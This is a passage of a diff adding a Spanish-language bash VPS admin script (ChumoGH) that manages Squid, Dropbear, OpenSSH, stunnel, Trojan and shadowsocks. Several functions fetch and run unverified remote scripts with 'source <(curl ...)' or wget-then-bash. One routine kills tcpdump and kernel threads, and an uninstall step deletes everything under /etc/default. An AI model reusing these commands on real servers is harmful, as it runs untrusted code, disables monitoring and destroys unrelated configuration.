'{print $1,$2,$3,$4}' +msg -bar + if [ ! -f "/etc/init.d/squid" ]; then +service squid3 reload +service squid3 restart + else +/etc/init.d/squid reload +service squid restart + fi +return +} + +[[ $var_payload = 2 ]] && { +echo -e "${cor[4]} Quitar el host de Squid" +echo -e "${cor[5]} Dominios actuales en el archivo $payload:" +msg -bar +cat $payload | awk -F "/" '{print $1,$2,$3,$4}' +msg -bar +read -p " $(echo -e "Escriba el dominio que desea quitar\n") Iniciando con un ( . ), ejemplo: .chumogh.net: " hos +if [[ $hos != \.* ]]; then +echo -e "${cor[5]} Iniciando con un ( . ), ejemplo: .chumogh.net" +return +fi +host="$hos/" +if [[ -z $host ]]; then +echo -e "${cor[5]} ¡Esta vacío, no ha escrito nada!" +return +fi +if [[ `grep -c "^$host" $payload` -ne 1 ]]; then +echo -e "${cor[5]} DOMINIO NO ENCONTRADO" +return +fi +grep -v "^$host" $payload > /tmp/a && mv /tmp/a $payload +echo -e "${cor[5]} ARCHIVO ACTUALIZADO EXITOSAMENTE!" +msg -bar +cat $payload | awk -F "/" '{print $1,$2,$3,$4}' +msg -bar + if [ ! -f "/etc/init.d/squid" ]; then +service squid3 reload +service squid3 restart + else +/etc/init.d/squid reload +service squid restart + fi +return +} +} + + +add_port(){ + if [[ -e /etc/squid/squid.conf ]]; then + local CONF="/etc/squid/squid.conf" + elif [[ -e /etc/squid3/squid.conf ]]; then + local CONF="/etc/squid3/squid.conf" + fi + local miport=$(cat ${CONF}|grep -w 'http_port'|awk -F ' ' '{print $2}'|tr '\n' ' ') + local line="$(cat ${CONF}|sed -n '/http_port/='|head -1)" + local NEWCONF="$(cat ${CONF}|sed "$line c ADMR_port"|sed '/http_port/d')" + msg -ama "$(echo -e "AGREGAR UN PUERTOS SQUID")" + echo -e " $(msg -verm2 "Ingrese Sus Puertos:") $(msg -verd "80 8080 8799 3128")" + msg -bar + msg -ne " $(echo -e " Digite Puertos"): " && read DPORT + tput cuu1 && tput dl1 + TTOTAL=($DPORT) + for((i=0; i<${#TTOTAL[@]}; i++)); do + [[ $(mportas|grep -v squid|grep -v '>'|grep -w "${TTOTAL[$i]}") = "" ]] && { + echo -e "\033[1;33m Puerto Elegido:\033[1;32m ${TTOTAL[$i]} OK" + PORT="$PORT ${TTOTAL[$i]}" + } || { + echo -e "\033[1;33m Puerto Elegido:\033[1;31m ${TTOTAL[$i]} FAIL" + } + done + [[ -z $PORT ]] && { + msg -bar + msg -verm2 "Ningun Puerto Valido" + return 1 + } + PORT="$miport $PORT" + rm ${CONF} + while read varline; do + if [[ ! -z "$(echo "$varline"|grep 'ADMR_port')" ]]; then + for i in `echo $PORT`; do + echo -e "http_port ${i}" >> ${CONF} + ufw allow $i/tcp &>/dev/null 2>&1 + done + continue + fi + echo -e "${varline}" >> ${CONF} + done <<< "${NEWCONF}" + msg -bar + msg -azu "$(echo -e "AGUARDE REINICIANDO SERVICIOS")" + [[ -d "/etc/squid/" ]] && { + service ssh restart > /dev/null 2>&1 + /etc/init.d/squid start > /dev/null 2>&1 + service squid restart > /dev/null 2>&1 + } + [[ -d "/etc/squid3/" ]] && { + service ssh restart > /dev/null 2>&1 + /etc/init.d/squid3 start > /dev/null 2>&1 + service squid3 restart > /dev/null 2>&1 + } + sleep 2s + tput cuu1 && tput dl1 + msg -verd "$(echo -e "PUERTOS AGREGADOS")" + return 1 +} + +del_port(){ + squidport=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN"|grep -E 'squid|squid3') + + if [[ $(echo "$squidport"|wc -l) -lt '2' ]];then + clear + msg -bar + msg -ama "Un solo puerto para eliminar\ndesea detener el servicio? " + msg -bar + msg -ne " opcion [S/N]: " && read a + + if [[ "$a" = @(S|s) ]]; then + msg -ama "AGUARDE DETENIEDO SERVICIOS" + [[ -d "/etc/squid/" ]] && { + if service squid stop &> /dev/null ; then + msg -verd "Servicio squid detenido" + else + msg -verm2 "Falla al detener Servicio squid" + fi + } + [[ -d "/etc/squid3/" ]] && { + if service squid3 stop &> /dev/null ; then + msg -verd "Servicio squid3 detenido" + else + msg -verm2 "Falla al detener Servicio squid3" + fi + } + fi + return 1 + fi + + if [[ -e /etc/squid/squid.conf ]]; then + local CONF="/etc/squid/squid.conf" + elif [[ -e /etc/squid3/squid.conf ]]; then + local CONF="/etc/squid3/squid.conf" + fi + msg -ama "Quitar un puertos squid" + n=1 + while read i; do + port=$(echo $i|awk -F ' ' '{print $9}'|cut -d ':' -f2) + echo -e " $(msg -verd "[$n]") $(msg -verm2 ">") $(msg -azu "$port")" + drop[$n]=$port + num_opc="$n" + let n++ + done <<< $(echo "$squidport") + back + while [[ -z $opc ]]; do + msg -ne " opcion: " + read opc + tput cuu1 && tput dl1 + if [[ -z $opc ]]; then + msg -verm2 " selecciona una opcion entre 1 y $num_opc" + unset opc + sleep 2 + tput cuu1 && tput dl1 + continue + elif [[ ! $opc =~ $numero ]]; then + msg -verm2 " selecciona solo numeros entre 1 y $num_opc" + unset opc + sleep 2 + tput cuu1 && tput dl1 + continue + elif [[ "$opc" -gt "$num_opc" ]]; then + msg -verm2 " selecciona una opcion entre 1 y $num_opc" + sleep 2 + tput cuu1 && tput dl1 + unset opc + continue + fi + done + sed -i "/http_port ${drop[$opc]}/d" $CONF + msg -azu "$(echo -e "AGUARDE REINICIANDO SERVICIOS")" + [[ -d "/etc/squid/" ]] && { + service ssh restart > /dev/null 2>&1 + /etc/init.d/squid start > /dev/null 2>&1 + service squid restart > /dev/null 2>&1 + } + [[ -d "/etc/squid3/" ]] && { + service ssh restart > /dev/null 2>&1 + /etc/init.d/squid3 start > /dev/null 2>&1 + service squid3 restart > /dev/null 2>&1 + } + sleep 2s + tput cuu1 && tput dl1 + msg -verd "$(echo -e "PUERTO REMOVIDO")" + return 1 +} + +restart_squid(){ + msg -ama "AGUARDE REINICIANDO SERVICIOS" + [[ -d "/etc/squid/" ]] && { + service ssh restart > /dev/null 2>&1 + /etc/init.d/squid start > /dev/null 2>&1 + service squid restart > /dev/null 2>&1 + } + [[ -d "/etc/squid3/" ]] && { + service ssh restart > /dev/null 2>&1 + /etc/init.d/squid3 start > /dev/null 2>&1 + service squid3 restart > /dev/null 2>&1 + } + sleep 2s + tput cuu1 && tput dl1 + msg -verd "$(echo -e "SERVICIO REINICIANDO")" + return 1 +} + + +#INSTALADOR SQUID +fun_squid () { + +fsqd() { + sync + echo 3 >/proc/sys/vm/drop_caches + sync && sysctl -w vm.drop_caches=3 + sysctl -w vm.drop_caches=0 + swapoff -a + swapon -a +apt install squid -y &> /dev/null + rm -rf /tmp/* > /dev/null 2>&1 + killall kswapd0 > /dev/null 2>&1 + killall tcpdump > /dev/null 2>&1 + killall ksoftirqd > /dev/null 2>&1 + echo > /etc/fixsquid +} + +function call.squid() { + sleep .1 + helice() { + fsqd >/dev/null 2>&1 & + tput civis + while [ -d /proc/$! ]; do + for i in / - \\ \|; do + sleep .1 + echo -ne "\e[1D$i" + done + done + tput cnorm + } + echo -ne "\033[1;37m OPTIMIZANDO Y \033[1;32mFIXEANDO \033[1;37mSQUID V3 \033[1;32m.\033[1;32m.\033[1;33m.\033[1;31m. \033[1;33m" + helice + echo -e "\e[1DOk" +} + + +[[ -e /etc/squid/squid.conf ]] && var_squid="/etc/squid/squid.conf" +[[ -e /etc/squid3/squid.conf ]] && var_squid="/etc/squid3/squid.conf" + + + [[ -e $var_squid ]] && { +echo -e " MENU DE FUNCION SQUID " +msg -bar +echo -e " \033[0;35m [\033[0;36m1\033[0;35m]\033[0;31m ${flech} ${cor[3]} SQUID CACHE $_cachesquid" +echo -e " \033[0;35m [\033[0;36m2\033[0;35m]\033[0;31m ${flech} ${cor[3]} AGREGAR / REMOVER HOST-SQUID" +echo -e " \033[0;35m [\033[0;36m3\033[0;35m]\033[0;31m ${flech} ${cor[3]} AÑADIR UN PUERTO SQUID" +echo -e " \033[0;35m [\033[0;36m4\033[0;35m]\033[0;31m ${flech} ${cor[3]} QUITAR UN PUERTO SQUID" +echo -e " \033[0;35m [\033[0;36m5\033[0;35m]\033[0;31m ${flech} ${cor[3]} DESINSTALAR SQUID" +msg -bar +echo -e " \033[0;35m [\033[0;36m0\033[0;35m]\033[0;31m ${flech} $(msg -bra "\033[1;41m[ REGRESAR ]\e[0m")" +msg -bar +selection=$(selection_fun 5) +case ${selection} in +0) +return 0 +;; +1) +squid_cache +return 0 +;; +2) +add_host_squid +return 0 +;; +3) +add_port +return 0 +;; +4) +del_port +return 0 +;; +5) +msg -bar + echo -e "\033[1;32m REMOVIENDO SQUID" + if [[ -e /etc/squid/squid.conf ]]; then + var_squid="/etc/squid/squid.conf" + mipatch="/etc/squid" + elif [[ -e /etc/squid3/squid.conf ]]; then + var_squid="/etc/squid3/squid.conf" + mipatch="/etc/squid3" + fi + [[ -e $var_squid ]] && { + clear + msg -bar + msg -ama "$(echo -e "REMOVIENDO SQUID")" + msg -ama "Aguarde un momento!!!" + msg -bar + [[ -d "/etc/squid" ]] && { + service squid stop > /dev/null 2>&1 + apt-get remove squid -y >/dev/null 2>&1 + apt-get purge squid -y >/dev/null 2>&1 + rm -rf /etc/squid >/dev/null 2>&1 + } + [[ -d "/etc/squid3" ]] && { + service squid3 stop > /dev/null 2>&1 + apt-get remove squid3 -y >/dev/null 2>&1 + apt-get purge squid3 -y >/dev/null 2>&1 + rm -rf /etc/squid3 >/dev/null 2>&1 + } + } + service squid stop > /dev/null 2>&1 + service squid3 stop > /dev/null 2>&1 + echo -e "\033[1;32m Procedimento Concluido" + msg -bar + [[ -e $var_squid ]] && rm $var_squid + return 0 +;; +esac + } + #Reiniciando + service squid3 restart > /dev/null 2>&1 + service squid restart > /dev/null 2>&1 +#Instalar +clear&&clear +msg -bar +echo -e "\033[1;32m INSTALADOR SQUID ChumoGH-Script" +msg -bar +fun_ip +echo -ne " CONFIRME SU IP"; read -p ": " -e -i $IP ip +msg -bar +echo -e " DIJITA TUS PUERTOS EN LA SIGUIENTE SECUENCIA" +echo -e " SECUENCIA DE Ejemplo: 80 8080 3128" +echo -ne " INGRESA TUS PUERTOS: "; read portasx +msg -bar +totalporta=($portasx) +unset PORT + for((i=0; i<${#totalporta[@]}; i++)); do + [[ $(mportas|grep "${totalporta[$i]}") = "" ]] && { + echo -e "\033[1;33m Puertos Escojidos :\033[1;32m ${totalporta[$i]} OK" + PORT+="${totalporta[$i]}\n" + [[ -f "/usr/sbin/ufw" ]] && ufw allow ${totalporta[$i]}/tcp 1> /dev/null 2> /dev/null + } || { + echo -e "\033[1;33m Puertos Escojidos :\033[1;31m ${totalporta[$i]} FAIL" + } + done + [[ "$(echo -e $PORT)" = "" ]] && { + echo -e "\033[1;31m No se ha elegido ningún puerto válido\033[0m" + return 1 + } + +system=$(cat -n /etc/issue |grep 1 |cut -d ' ' -f6,7,8 |sed 's/1//' |sed 's/ //') +vercion=$(echo $system|awk '{print $2}'|cut -d '.' -f1,2) +msg -bar +echo -e " INSTALANDO SQUID" +msg -bar +[[ "${vercion}" > "21" ]] && { +[[ -e /etc/fixsquid ]] || call.squid +} || { + + [[ -e /etc/fixsquid ]] || { + fun_bar "apt-get install squid3 -y" + touch /etc/fixsquid + } +} + +echo -e " INICIANDO CONFIGURACION SQUID" +msg -bar +echo -e "" > /etc/payloads +#A�adir Host Squid +payload="/etc/payloads" +echo -e "" > /etc/payloads +echo -e " Escriba el Host-Squid que desea agregar" +echo -e " Iniciando con un ., ejemplo: .facebook.net" +read -p " Agregar Host " hos +if [[ $hos != \.* ]]; then +msg -bar +echo -e "\033[1;31m [!] Host-Squid debe iniciar con un "."\033[0m" +echo -e "\033[1;31m Asegurese de agregarlo despues corretamente!\033[0m" +fi +host="$hos/" +if [[ -z $host ]]; then +msg -bar +echo -e "\033[1;31m [!] Host-Squid no agregado" +echo -e "\033[1;31m Asegurese de agregarlo despues!\033[0m" +fi +echo "$host" >> $payload && grep -v "^$" $payload > /tmp/a && mv /tmp/a $payload +msg -bar +echo -e "\033[1;32m Ahora escoja una Conf Para Su Proxy" +msg -bar +echo -e "\033[0;35m [\033[0;36m1\033[0;35m]\033[0;31m ${flech}${cor[3]} INSTALACION COMUN" +echo -e "\033[0;35m [\033[0;36m2\033[0;35m]\033[0;31m ${flech}${cor[3]} INSTALACION AVANZADA -\033[1;31m CUSTIMIZABLE\033[1;37m" +msg -bar +read -p " [1/2]: " -e -i 1 proxy_opt +unset var_squid +[[ -d /etc/squid ]] && var_squid='/etc/squid/squid.conf' +[[ -d /etc/squid3 ]] && var_squid='/etc/squid3/squid.conf' +if [[ "$proxy_opt" = @(02|2) ]]; then +echo -e "#ConfiguracionSquiD +acl url1 dstdomain -i $ip +acl url2 dstdomain -i 127.0.0.1 +acl url3 url_regex -i '/etc/payloads' +acl url4 dstdomain -i localhost +acl accept dstdomain -i GET +acl accept dstdomain -i POST +acl accept dstdomain -i OPTIONS +acl accept dstdomain -i CONNECT +acl accept dstdomain -i PUT +acl HEAD dstdomain -i HEAD +acl accept dstdomain -i TRACE +acl accept dstdomain -i OPTIONS +acl accept dstdomain -i PATCH +acl accept dstdomain -i PROPATCH +acl accept dstdomain -i DELETE +acl accept dstdomain -i REQUEST +acl accept dstdomain -i METHOD +acl accept dstdomain -i NETDATA +acl accept dstdomain -i MOVE +acl all src 0.0.0.0/0 +http_access allow url1 +http_access allow url2 +http_access allow url3 +http_access allow url4 +http_access allow accept +http_access allow HEAD +http_access deny all + +# Request Headers Forcing + +request_header_access Allow allow all +request_header_access Authorization allow all +request_header_access WWW-Authenticate allow all +request_header_access Proxy-Authorization allow all +request_header_access Proxy-Authenticate allow all +request_header_access Cache-Control allow all +request_header_access Content-Encoding allow all +request_header_access Content-Length allow all +request_header_access Content-Type allow all +request_header_access Date allow all +request_header_access Expires allow all +request_header_access Host allow all +request_header_access If-Modified-Since allow all +request_header_access Last-Modified allow all +request_header_access Location allow all +request_header_access Pragma allow all +request_header_access Accept allow all +request_header_access Accept-Charset allow all +request_header_access Accept-Encoding allow all +request_header_access Accept-Language allow all +request_header_access Content-Language allow all +request_header_access Mime-Version allow all +request_header_access Retry-After allow all +request_header_access Title allow all +request_header_access Connection allow all +request_header_access Proxy-Connection allow all +request_header_access User-Agent allow all +request_header_access Cookie allow all +request_header_access All deny all + +# Response Headers Spoofing + +reply_header_access Via deny all +reply_header_access X-Cache deny all +reply_header_access X-Cache-Lookup deny all + + +#portas" > "${var_squid}" +for pts in $(echo -e $PORT); do +echo -e "http_port $pts" >> "${var_squid}" +done +echo -e " +#nome +visible_hostname ChumoGHADM + +via off +forwarded_for off +pipeline_prefetch off" >> "${var_squid}" +else +cat <<-EOF > "${var_squid}" +#Configuracion SquiD +acl localhost src 127.0.0.1/32 ::1 +acl to_localhost dst 127.0.0.0/8 0.0.0.0/32 ::1 +acl SSL_ports port 443 +acl Safe_ports port 80 +acl Safe_ports port 21 +acl Safe_ports port 443 +acl Safe_ports port 70 +acl Safe_ports port 210 +acl Safe_ports port 1025-65535 +acl Safe_ports port 280 +acl Safe_ports port 488 +acl Safe_ports port 591 +acl Safe_ports port 777 +acl CONNECT method CONNECT +acl SSH dst $ip-$ip/255.255.255.255 +acl exprecion-denie url_regex '/etc/exprecion-denie' +acl dominio-denie dstdomain '/etc/dominio-denie' +http_access deny exprecion-denie +http_access deny dominio-denie +http_access allow SSH +http_access allow manager localhost +http_access deny manager +http_access allow localhost + +#puertos +EOF + + for pts in $(echo -e $PORT); do +echo -e "http_port $pts" >> "${var_squid}" +done +echo -e " +#nome +visible_hostname ChumoGHADM + +via off +forwarded_for off +pipeline_prefetch off" >> "${var_squid}" +fi +fun_eth +msg -bar + +echo -ne " \033[1;31m [ ! ] \033[1;33m REINICIANDO SERVICIOS" +squid3 -k reconfigure > /dev/null 2>&1 +squid -k reconfigure > /dev/null 2>&1 +service ssh restart > /dev/null 2>&1 +service squid3 restart > /dev/null 2>&1 +service squid restart > /dev/null 2>&1 +echo -e " \033[1;32m[OK]" +msg -bar +echo -e " ${cor[3]}SQUID CONFIGURADO EXITOSAMENTE" +msg -bar +#UFW +for ufww in $(mportas|awk '{print $2}'); do +[[ -f "/usr/sbin/ufw" ]] && ufw allow $ufww 1> /dev/null 2> /dev/null +done +} +#INSTALAR DROPBEAR + +addnewd (){ +unset yesno +unset dnew +echo -e "\033[1;32mDeseas Adicionar alguno mas?? " +while [[ ${yesno} != @(s|S|y|Y|n|N) ]]; do +read -p "[S/N]: " yesno +foc=$(($foc + 1)) +tput cuu1 && tput dl1 +done +if [[ ${yesno} = @(s|S|y|Y) ]]; then +echo -e "\033[1;34mIngresa Nuevo Puerto a Escuchar:" +read -p ": " dnew + if lsof -Pi :$dnew -sTCP:LISTEN -t >/dev/null ; then + echo -e "\033[1;37mPuerto Seleccionado Ocupado | Reintenta" + else + dvj=$(cat < /etc/default/dadd) + sed -i "s/$dvj/$dnew -p $dvj/g" /etc/default/dropbear + echo "Reiniciando Dropbear para ejecutar cambios" + echo "Numero de Intento : $foc" + service dropbear restart + [[ -f "/usr/sbin/ufw" ]] && ufw allow $dnew/tcp 1> /dev/null 2> /dev/null + dropbearports=`netstat -tunlp | grep dropbear | grep 0.0.0.0: | awk '{print substr($4,9); }' > /tmp/dropbear.txt && echo | cat /tmp/dropbear.txt | tr '\n' ' ' > /ADMcgh/dropbearports.txt && cat /ADMcgh/dropbearports.txt`; + echo "Puertos que Corren en DROPBEAR " $dropbearports + fi +#echo -e "\033[1;32mDeseas Adicionar alguno mas?? " +echo "EXITO AL AÑADIR PUERTO" +sleep 0.5s +addnewd +else +unset foc +cd /ADMcgh && ./menu_inst +fi +} + +fun_openssh() { + clear + source /ADMcgh/header + msg -bar + echo -e "\033[1;31m[\033[1;36m1\033[1;31m] \033[1;37m \033[1;33mADICIONAR PORTA\033[1;31m +[\033[1;36m2\033[1;31m] \033[1;37m \033[1;33mREMOVER PUERTO OPENSSH\033[1;31m +[\033[1;36m3\033[1;31m] \033[1;37m \033[1;33mREGRESAR\033[0m" + msg -bar + echo -ne "\033[1;32mOPCION \033[1;33m:\033[1;37m " + read resp + if [[ "$resp" = '1' ]]; then + clear + echo -e "\E[44;1;37m ADICIONAR PUERTO OPENSSH \E[0m\n" + echo -ne " \033[1;32mQUE PUERTO DESEAS AADIR \033[1;33m?\033[1;37m " + read pt + [[ -z "$pt" ]] && { + echo -e "\n\033[1;31mPUERTO INVALIDO!" + sleep 1 + return 0 + } + verif_ptrs $pt + echo -e "\n\033[1;32mAADIENDO PUERTO A OPENSSH\033[0m" + echo "" + fun_addpssh() { + echo "Port $pt" >>/etc/ssh/sshd_config + service ssh restart + } + fun_bar 'fun_addpssh' + echo -e "\n\033[1;32mPUERTO ADICIONADO CON EXITO\033[0m" + sleep 3 + return 0 + elif [[ "$resp" = '2' ]]; then + clear + echo -e "\E[41;1;37m ELIMINAR PUERTO OPENSSH \E[0m" + echo -e "\n\033[1;33m[\033[1;31m!\033[1;33m] \033[1;32mPUERTO DETENIDO \033[1;37m22 \033[1;33mCUIDADO !\033[0m" + echo -e "\n\033[1;33mPUERTAS SSH EN USO: \033[1;37m$(grep 'Port' /etc/ssh/sshd_config | cut -d' ' -f2 | grep -v 'no' | xargs)\n" + echo -ne "\033[1;32mQUE PUERTO DESEAS REMOVER \033[1;33m?\033[1;37m " + read pt + [[ -z "$pt" ]] && { + echo -e "\n\033[1;31mPUERTO INVALIDO!" + sleep 2 + return 0 + } + [[ $(grep -wc "$pt" '/etc/ssh/sshd_config') != '0' ]] && { + echo -e "\n\033[1;32mREMOVENDO PUERTO DE SSH\033[0m" + echo "" + fun_delpssh() { + sed -i "/Port $pt/d" /etc/ssh/sshd_config + service ssh restart + } + fun_bar 'fun_delpssh' + echo -e "\n\033[1;32mPORTA REMOVIDA COM SUCESSO\033[0m" + sleep 2 + return 0 + } || { + echo -e "\n\033[1;31mPorta invalida!" + sleep 2 + return 0 + } + elif [[ "$resp" = '3' ]]; then + echo -e "\n\033[1;31mRetornando.." + sleep 2 + return 0 + else + echo -e "\n\033[1;31mOpcao invalida!" + sleep 2 + return 0 + fi + } + + + +fun_dropbear () { +dropbearports=`netstat -tunlp | grep dropbear | grep 0.0.0.0: | awk '{print substr($4,9); }' > /tmp/dropbear.txt && echo | cat /tmp/dropbear.txt | tr '\n' ' ' > /etc/scpdk1/dropbearports.txt && cat /etc/scpdk1/dropbearports.txt`; +# INICIO STUNNEL ACTIVO +figlet " DROPBEAR " | boxes -d stone -p a2v1 +msg -bar +[[ -z $dropbearports ]] && echo -e " DROPBEAR NO INSTALADO AUN" || echo -e "${cor[2]}DROPBEAR ACTIVO en Puertos: $dropbearports" +msg -bar +[[ -z $dropbearports ]] && echo -e " \033[0;35m[\033[0;36m1\033[0;35m] \033[0;34m<\033[0;33m INSTALAR DROPBEAR \033[0;32m(#OFICIAL)" || echo -e " \033[0;35m[\033[0;36m1\033[0;35m] \033[0;34m<\033[0;33m REINSTALAR DROPBEAR \033[0;32m(#OFICIAL)" +[[ -e /etc/default/dropbear ]] && echo -e " \033[0;35m[\033[0;36m2\033[0;35m] \033[0;34m<\033[0;33m CERRAR PUERTO (S) \033[0;32m(#OFICIAL)" +[[ -e /etc/default/dropbear ]] && echo -e " \033[0;35m[\033[0;36m3\033[0;35m] \033[0;34m<\033[0;31m Adicionar Port DROPBEAR \033[0;33m(#EXPERIMENTAL)" && lim=3 || lim=2 +msg -bar +selection=$(selection_fun $lim) +case ${selection} in +1) +clear +########LLAMAMOS FUNCION DROPBEAR####### +service dropbear stop 1> /dev/null 2> /dev/null +service sshd restart > /dev/null 2>&1 +service ssh restart > /dev/null 2>&1 +dropbearuniversal +msg -bar +echo -e "${cor[3]} DROPBEAR CONFIGURADO" +msg -bar +;; +2) + [[ -e /etc/default/dropbear ]] && { + echo -e "\033[1;32m REMOVIENDO DROPBEAR" + msg -bar +service dropbear stop 1> /dev/null 2> /dev/null +service sshd restart > /dev/null 2>&1 +service ssh restart > /dev/null 2>&1 + fun_bar "apt-get remove dropbear -y" +killall dropbear 1> /dev/null 2> /dev/null +apt-get -y purge dropbear 1> /dev/null 2> /dev/null +apt-get -y remove dropbear 1> /dev/null 2> /dev/null +apt autoremove -y 1> /dev/null 2> /dev/null +#|[[ -e /bin/ejecutar/sshd_config ]] && mv /bin/ejecutar/sshd_config /etc/ssh/sshd_config + msg -bar + echo -e "\033[1;32m DROPBEAR DESINSTALADO " + msg -bar + [[ -d /etc/default/ ]] && rm -f /etc/default/* + user -k $dpa/tcp > /dev/null 2>&1 + return + } +;; +3) +[[ -e /etc/default/dropbear ]] && { +dropbearports=`netstat -tunlp | grep dropbear | grep 0.0.0.0: | awk '{print substr($4,9); }' > /tmp/dropbear.txt && echo | cat /tmp/dropbear.txt | tr '\n' ' ' > /ADMcgh/dropbearports.txt && cat /ADMcgh/dropbearports.txt`; +echo "Puertos que Corren en DROPBEAR " $dropbearports +cp /etc/default/dropbear /etc/default/dropbear.or +echo "Ingresa Nuevo Puerto Escuchar:" +read -p ": " portdrop +dnew="$portdrop" +fun_bar +if lsof -Pi :$portdrop -sTCP:LISTEN -t >/dev/null ; then +echo "Puerto Seleccionado Ocupado | Reintenta" +else + #sed -i "2d" /etc/default/dropbear +dvj=$(cat < /etc/default/dadd) +sed -i "s/$dvj/$dnew -p $dvj/g" /etc/default/dropbear +#sed -i '2i DROPBEAR_EXTRA_ARGS="-p '"$portdrop"'"' /etc/default/dropbear +echo $portdrop > /etc/default/dadd +echo "Reiniciando Dropbear para ejecutar cambios" +fun_bar +service dropbear restart +dropbearports=`netstat -tunlp | grep dropbear | grep 0.0.0.0: | awk '{print substr($4,9); }' > /tmp/dropbear.txt && echo | cat /tmp/dropbear.txt | tr '\n' ' ' > /ADMcgh/dropbearports.txt && cat /ADMcgh/dropbearports.txt`; +echo "Puertos que Corren en DROPBEAR " $dropbearports +foc=1 +addnewd +fi + return 0 + } +echo "Desgraciado, No HAS INSTALADO EL SERVICIO AUN ;C" + return 0 +;; +*) + return 0 +;; +esac +} + + +fun_shadowsocks () { +wget -q https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/shadowsocks.sh +figlet ChumoGH +bash shadowsocks.sh +rm shadowsocks.sh +} + + +instala_clash () { +# while : +# do +# clear +#[[ -e /root/name ]] && figlet -p -f smslant < /root/name | lolcat || echo -e "\033[7;49;35m ${TTini} New ChumoGH${TTcent}VPS ${TTfin} " +tittle +echo -e "\033[1;37m ?? ?? Reseller :$(cat < /etc/scpdk1/menu_credito | head -1) - ADM 2023 ?? 】\033[0m" +echo -e "[\033[1;31m-\033[1;33m]\033[1;31m #######################################\033[1;33m" +echo -e "\033[1;37mSeleccione una opcion : Para Salir Ctrl + C\033[1;33m" +#echo -e "${cor[3]} Esta herramienta Permite escojer el menu Clash Nuevo y Antiguo" +#echo -e "${cor[3]} Si manejas los Menu de Trojan Y v2ray, Usa 1" +#msg -bar +echo -e " \033[0;35m [\033[0;36m1\033[0;35m]\033[0;31m ${flech} CLASH FOR ANDROID ( 2023 ) " +sleep 2s +#echo -e " \033[0;35m [\033[0;36m2\033[0;35m]\033[0;31m ${flech} Menu Clash - Menu Antiguo (Ingreso Manual)" +#msg -bar +#echo -e " \033[0;35m [\033[0;36m0\033[0;35m]\033[0;31m ${flech} $(msg -bra "\033[1;41m[ REGRESAR ]\e[0m")" +#msg -bar +#selection=$(selection_fun 2) +#case ${selection} in +# 1) + source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/clash-beta.sh) + read -p " Presiona Enter Para Continuar " +# return 0;; +# 2) +# wget -q -O /bin/ejecutar/clash.sh https://www.dropbox.com/s/tyuz3ms5zv73pyy/clash.sh +# chmod +x /bin/ejecutar/clash.sh +# bash /bin/ejecutar/clash.sh +# [[ -e /bin/ejecutar/clash.sh ]] && rm /bin/ejecutar/clash.sh +# return 0 +# ;; +# 0) break +# return 0 +## *) echo -e "\n selecione una opcion del 0 al 2" && sleep 1;; +# esac +# done +#source <(curl -sL https://raw.githubusercontent.com/ChumoGH/ChumoGH-Script/master/Clash/clash.sh) +#bash -c "$(curl -fsSL https://raw.githubusercontent.com/JeannieStudio/all_install/master/SixForOne_install.sh)" +} + +iniciarsocks () { +#source <(curl -sL https://raw.githubusercontent.com/ChumoGH/ScriptCGH/main/HTools/Python/SocksPY-lite.sh) +source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/SockPython.sh) +} + +ssrmenu() +{ +source <(curl -sL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/ssrrmu.sh) +} + +trojan() +{ +[[ $(mportas|grep trojan|head -1) ]] && { +# INICIO STUNNEL ACTIVO +msg -bar +echo -e "${cor[2]} Trojan-Go ACTIVO en Puertos: $trojanports " +msg -bar +echo -e " \033[0;35m[\033[0;36m1\033[0;35m] \033[0;34m<\033[0;33m CONTROL PANNEL \033[0;32m(#OFICIAL by @ChumoGH)" +echo -e " \033[0;35m[\033[0;36m2\033[0;35m] \033[0;34m<\033[0;33m ELIMINAR TROJAN-GO (s)" +msg -bar +selection=$(selection_fun 2) +case ${selection} in +1) +#MOD TROJAN REFORMADO EN V5 +source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/trojango-sh/trojan-sh/mod-trojan.sh);; +2) +source <(curl -sL https://git.io/trojan-install) --remove +killall trojan &> /dev/null 2>&1 +[[ -e /usr/local/etc/trojan/config.json ]] && rm -f /usr/local/etc/trojan /usr/local/etc/trojan/config.json +[[ -e /bin/troj.sh ]] && rm -f /bin/troj.sh +clear +echo -e "\033[1;37m Desinstalacion Completa \033[0m" +echo -e "\033[1;31mINSTALACION FINALIZADA - PRESIONE ENTER\033[0m" +read -p " " +;; +0) +return 0 +;; +esac +#FIN VERIFICA STUNNEL4 ACTIVO +} || { +wget -q -O trojango.sh https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/rm-rf-bin.sh && chmod +x trojango.sh && ./trojango.sh && rm -f trojango.sh +return 0 +} + +} + +ssl_stunel() { +unset selection +msg -bar +echo -e "${cor[2]} Certificado SSL/TLS ( Default: @ChumoGH ) " +msg -bar +echo -e " \033[0;35m[\033[0;36m1\033[0;35m] \033[0;34m${flech}\033[0;33m SSL - STUNNEL 4 \033[0;32m(#OFICIAL)" +echo -e " \033[0;35m[\033[0;36m2\033[0;35m] \033[0;34m${flech}\033[0;33m SSL - STUNNEL 5 \033[0;32m(#OFICIAL)" +msg -bar +selection=$(selection_fun 2) +case ${selection} in +1) +clear&&clear +ssl_stunel4 +;; +2) +clear&&clear +ssl_stunel5 +;; +*) +return 0 +;; +esac +} + +ssl_stunel4 () { +unset lang +sslkk +[[ $(mportas|grep stunnel|head -1) ]] && { +[[ -e /usr/local/etc/stunnel/stunnel.conf && ! -e /etc/stunnel/stunnel.conf ]] && { +echo -e " TE REDIRECCIONAREMOS HACIA STUNNEL 5" && sleep 2s +ssl_stunel5 && return +} +# INICIO STUNNEL ACTIVO +#/ADMcgh/header "ports_" +sslkk +msg -bar +echo -e "${cor[2]} SSL / TLS -> STUNNEL4 ACTIVOS : $sslports " +msg -bar +echo -e " \033[0;35m[\033[0;36m1\033[0;35m] \033[0;34m<\033[0;33m ADICIONAR + PUERTO SSL \033[0;32m(#OFICIAL)" +echo -e " \033[0;35m[\033[0;36m2\033[0;35m] \033[0;34m<\033[0;31m SSL Cert - STRACK ZEROSSL \033[0;33m(#EXPERIMENTAL)" +echo -e " \033[0;35m[\033[0;36m3\033[0;35m] \033[0;34m<\033[0;33m CERRAR PUERTO(s) SSL" +msg -bar +selection=$(selection_fun 3) +case ${selection} in +0) +return 0 +;; +1) 